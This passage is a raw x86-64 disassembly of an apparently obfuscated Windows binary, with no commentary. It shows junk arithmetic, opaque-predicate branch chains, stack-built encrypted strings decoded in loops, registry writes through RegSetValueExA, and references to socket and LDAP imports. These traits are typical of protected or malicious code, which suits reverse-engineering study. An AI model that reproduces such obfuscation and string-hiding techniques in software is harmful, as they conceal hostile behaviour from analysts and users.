add r11b, 0x74
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x2c
inc r9
dec rdi
inc rdi
jmp 0x140104682
lea edx, [r11 - 0x70]
movzx eax, bl
and al, dl
movzx ecx, bl
sub cl, al
add cl, 8
lea r10d, [rcx + rcx]
jmp 0x140104e7b
lea edx, [r11 + 0x44]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140104fa1
add r11b, 0x36
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x7a
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140104682
lea edx, [r11 - 0x32]
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140104fa1
lea edx, [r11 - 0x4e]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r11b, 0x6a
movzx eax, bl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi], cl
add r8, r9
jmp 0x140104f62
sub r11b, 2
movzx eax, bl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
dec rdi
inc rdi
jmp 0x140104682
lea edx, [r11 - 0x6a]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x1a
jmp 0x140104efd
movzx r11d, dil
lea edx, [r11 + 0x2e]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x42
add r10b, dl
sub r11b, 0x4a
movzx eax, bl
and al, r11b
mov ecx, 3
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
mov byte [rbp + rdi], cl
inc r9
dec rdi
inc rdi
jmp 0x140104682
lea ecx, [rdi - 0x3a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x6a
dec rdi
inc rdi
jmp 0x140104682
lea rcx, [rdi + r12]
and sil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_45
sub al, sil
lea r10d, [rax + rax]
add r10b, bl
add r10b, cl
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140104682
movabs rcx, 0x99128c4fbddd57f6
add rcx, rdi
and sil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_35
sub al, sil
lea r10d, [rax + rax]
add r10b, bl
add r10b, cl
movzx r11d, dil
add r11b, 0x1e
movzx eax, r11b
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
movzx eax, cl
mov byte [rbp + rdi], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 8]
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140104682
lea rcx, [rdi + r13]
and sil, cl
mov eax, reloc.WS2_32.dll_ntohs
sub al, sil
lea r10d, [rax + rax]
add r10b, bl
add r10b, cl
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140104682
add r11b, 0x42
movzx eax, bl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x140104680
sub r11b, 0x72
movzx eax, bl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x140104670
lea rdx, [rbp + 0x17eba78]
jmp 0x140105087
lea rdx, [rbp + 0x5e5952]
jmp 0x140105087
lea rdx, [rbp]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x31]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140106f2c
mov byte [rbp + 0x32], 3
mov dword [rsp + 0x30], 0xaca8ab95
mov dword [rsp + 0x34], 0x9191a696
mov dword [rsp + 0x38], 0x9795939c
mov byte [rsp + 0x3c], 0xec
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3d], xmm0
mov dword [rsp + 0x4d], eax
mov word [rsp + 0x51], ax
movabs rsi, 0x6250e577982453dc
movabs r12, 0xb036464528fe4b04
movabs r15, 0x26f2b066c86cfb94
movzx r10d, byte [rbp + 0x30]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140105bcb
movzx ebx, byte [rsp + rdi + 0x30]
mov edx, ebx
cmp r8, rdi
ja 0x140105bc2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010515f
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 4
jmp 0x14010518c
je 0x140105b5e
lea rax, [r9 + 3]
cmp r8, rax
je 0x140105ae4
lea rax, [r9 + 2]
cmp r8, rax
je 0x140105a90
lea rax, [r9 + 7]
cmp r8, rax
je 0x140105a4d
movzx r11d, dil
cmp r9, rdi
ja 0x140105bb9
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x1401051b9
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x54
jmp 0x140105200
lea rax, [r9 + 1]
cmp r8, rax
je 0x140105a36
inc rax
cmp r8, rax
je 0x140105a1a
cmp r8, rcx
je 0x1401059fa
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401059db
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401059ad
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1401056ab
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14010568c
lea rax, [r9 + 6]
cmp r8, rax
je 0x140105663
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010563d
lea rax, [r9 + 2]
cmp r8, rax
je 0x140105762
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14010561d
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1401055fd
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1401055de
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1401055be
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140105210
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140105b9e
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140105b83
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1401053c7
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1401053ad
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140105393
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140105572
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14010552b
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401054ed
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140105210
lea r8, [r9 + 8]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1401054c4
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1401054a5
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140105487
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14010546c
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140105451
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140105432
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14010540c
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1401053e3
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140105210
lea r8, [r9 + 1]
lea r9, [r8 + 9]
jmp 0x140105210
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2c
jmp 0x140105200
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
jmp 0x140105190
add r11b, 4
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x1c
jmp 0x140105133
sub r11b, 0x58
movzx eax, bl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc r9
dec rdi
inc rdi
jmp 0x140105122
sub r11b, 0x10
movzx eax, bl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
dec rdi
inc rdi
jmp 0x140105122
lea edx, [r11 + 0x38]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140105aa9
add r11b, 0x80
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
add r10b, 0x80
jmp 0x140105ac8
sub r11b, 0x38
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x78
jmp 0x140105acb
lea edx, [r11 + 0x10]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x70
add r10b, dl
jmp 0x140105afa
add r11b, 0x58
movzx eax, bl
and al, r11b
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x68
add r10b, r11b
jmp 0x140105b22
sub r11b, 0x60
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x60
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105122
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x44
cmp r9, 0x2a
jb 0x140105967
lea edx, [r11 - 0x58]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x30]
jmp 0x140105a66
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3c
cmp r8, 6
jae 0x140105974
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14010589a
lea edx, [r11 + 0x78]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x48
add r10b, dl
jmp 0x140105502
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x34
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x140105991
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1401057dc
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140105540
sub r11b, 0x70
movzx eax, r11b
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x140105b22
lea edx, [r11 - 0x28]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140105afa
add r11b, 0x20
movzx eax, r11b
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x140105acb
add r11b, 0x68
movzx eax, r11b
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x140105ac8
sub r11b, 8
movzx eax, r11b
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
dec rdi
inc rdi
jmp 0x140105122
add r11b, 0x40
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x140105122
lea edx, [r11 - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140105a66
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1401056d1
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 4
jmp 0x140105587
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140105708
add r11b, 0x18
movzx eax, r11b
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105122
inc rax
cmp r8, rax
jne 0x140105730
sub r11b, 0x30
movzx eax, r11b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x140105b22
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140105759
sub r11b, 8
movzx eax, r11b
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x140105ac8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140105781
lea edx, [r11 - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140105aa9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401057b0
add r11b, 0x68
movzx eax, r11b
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
dec rdi
inc rdi
jmp 0x140105122
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140105587
lea edx, [r11 - 0x28]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140105a66
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140105804
lea edx, [r11 + 0x24]
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140105a66
inc rax
cmp r8, rax
jne 0x14010582d
sub r11b, 0x6c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0xc
dec rdi
inc rdi
jmp 0x140105122
cmp r8, rcx
jne 0x14010584e
add r11b, 4
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x1c
jmp 0x140105ac8
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140105873
sub r11b, 0x44
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x24
jmp 0x140105acb
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140105540
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2c
jmp 0x140105afa
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1401058cc
add r11b, 0x30
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x50
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105122
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401058f3
lea edx, [r11 - 0x60]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x140105afa
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140105917
add r11b, 0x58
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x68
jmp 0x140105acb
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010593b
add r11b, 0x10
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x70
jmp 0x140105ac8
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140105502
lea edx, [r11 - 0x10]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140105a66
mov byte [rsp + rdi + 0x30], r10b
inc rdi
jmp 0x140105122
lea edx, [r11 + 0x60]
movzx eax, bl
and al, dl
movzx ecx, bl
sub cl, al
add cl, 0x30
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140105aa9
lea edx, [r11 + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140105afa
sub r11b, 0x7c
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105122
lea edx, [r11 + 0x14]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140105afa
add r11b, 0x5c
movzx eax, r11b
and al, bl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x140105acb
sub r11b, 0x5c
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x7c
jmp 0x140105ac8
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5c
jmp 0x140105a66
movzx r11d, dil
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4c
sub r11b, 0x7c
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
mov byte [rsp + rdi + 0x30], cl
inc r9
dec rdi
inc rdi
jmp 0x140105122
movzx r11d, dil
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x34
add r11b, 0x3c
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, bl
mov byte [rsp + rdi + 0x30], cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140105122
lea rax, [rdi + r12]
and dl, al
add dl, dl
sub al, dl
lea r10d, [rbx + rax]
sub r10b, 0x1c
movzx r11d, dil
sub r11b, 0xc
movzx eax, bl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
movzx eax, cl
mov byte [rsp + rdi + 0x30], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x30]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rsp + rdi + 0x30], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105122
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea r10d, [rbx + rax]
sub r10b, 0xc
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105122
add r11b, 0x4c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x14
jmp 0x140105120
sub r11b, 0x6c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0xc
jmp 0x140105110
lea rdx, [rbp + 0x1685700]
jmp 0x140105bd0
lea rdx, [rbp + 0x4caadc]
jmp 0x140105bd0
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x32]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140106f2c
mov byte [rbp + 0x30], 3
mov dword [rbp - 0x28], 0xb5abb193
mov word [rbp - 0x24], 0x49b4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x22], xmm0
mov qword [rbp - 0x12], rax
mov dword [rbp - 0xa], eax
mov byte [rbp - 6], al
movabs rsi, 0xab578ee80e9c398a
movabs r12, 0xaf64e858664592c6
movabs r15, 0x206acb82bd4ac9e
movzx r10d, byte [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1401063bd
movzx ebx, byte [rbp + rdi - 0x28]
mov edx, ebx
cmp r8, rdi
ja 0x1401063b4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140105c9f
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x3a
jmp 0x140105ccc
je 0x14010634a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401062d3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010629f
lea rax, [r9 + 7]
cmp r8, rax
je 0x140106257
nop dword [rax]
cmp r9, rdi
ja 0x1401063ab
lea rcx, [r9 + 9]
cmp r8, rcx
jae 0x140105cfa
lea r10d, [rdi + 0x52]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x3e
add r10b, bl
jmp 0x140105d43
lea rax, [r9 + 1]
cmp r8, rax
je 0x140106249
inc rax
cmp r8, rax
je 0x140106227
lea rax, [r9 + 3]
cmp r8, rax
je 0x140106203
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401061f6
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401061dd
cmp r8, rcx
je 0x1401061b6
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140105ffa
lea rax, [r9 + 8]
cmp r8, rax
je 0x140105fdd
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140105fb6
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140105f9e
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140105f85
lea r8, [r9 + 2]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14010638f
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14010636f
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140105e19
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140105ee0
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140105eba
lea r8, [r9 + 5]
lea r9, [r8 + 1]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140105e8e
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140105e75
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140105e57
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140105e43
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140105e32
lea r8, [r9 + 9]
lea r9, [r8 + 4]
jmp 0x140105d50
lea ecx, [rdi - 0x3a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6a
jmp 0x140105c73
lea edx, [rdi - 0x70]
mov ecx, 8
movzx r11d, dil
jmp 0x140106264
lea edx, [rdi + 0x54]
movzx eax, dl
and al, bl
add al, al
sub dl, al
sub dl, 0x4c
jmp 0x140106179
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1401062e5
lea ecx, [rdi + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1c
jmp 0x14010630e
lea edx, [rdi - 0x10]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105c62
lea edx, [rdi + 0x3e]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
mov byte [rbp + rdi - 0x28], r10b
inc rdi
jmp 0x140105c62
lea ecx, [rdi + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xe
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x14010619b
lea rax, [r9 + 6]
lea rdx, [r9 + 1]
cmp r8, rax
jbe 0x14010609c
lea ecx, [rdi - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2e
lea rcx, [r9 + 3]
cmp r8, 0x40
jae 0x140106167
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1401060f4
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6c
cmp r9, 0x80
jb 0x140105ed3
lea ecx, [rdi - 4]
movzx eax, cl
and al, bl
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r10d, [rdx + rdx]
movzx r11d, dil
jmp 0x140106275
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5c
jmp 0x1401062e5
lea ecx, [rdi - 0x78]
movzx eax, cl
and al, bl
mov edx, 0x24
sub dl, al
add dl, dl
add dl, cl
jmp 0x140106179
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x140105c62
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x14
movzx r11d, dil
jmp 0x140106275
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140106021
lea edx, [rdi - 0x76]
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140105ef4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140106051
lea ecx, [rdi - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7c
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105c62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140106078
lea edx, [rdi - 0x34]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1401062e5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140105ef4
lea ecx, [rdi + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x38
jmp 0x14010617b
cmp r8, rdx
jne 0x1401060b2
lea edx, [rdi - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx r11d, dil
jmp 0x140106264
lea rcx, [r9 + 3]
cmp r8, rcx
jne 0x1401060d2
lea ecx, [rdi + 0x32]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x5e
jmp 0x14010617b
cmp r8, rax
jne 0x140105f2b
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 2
jmp 0x1401062e5
cmp r8, rdx
jne 0x140106125
lea edx, [rdi + 0x48]
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105c62
cmp r8, rcx
jne 0x140106143
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
jmp 0x1401062e5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140105f56
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x28
jmp 0x1401062b4
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x70
add dl, bl
movzx ecx, dil
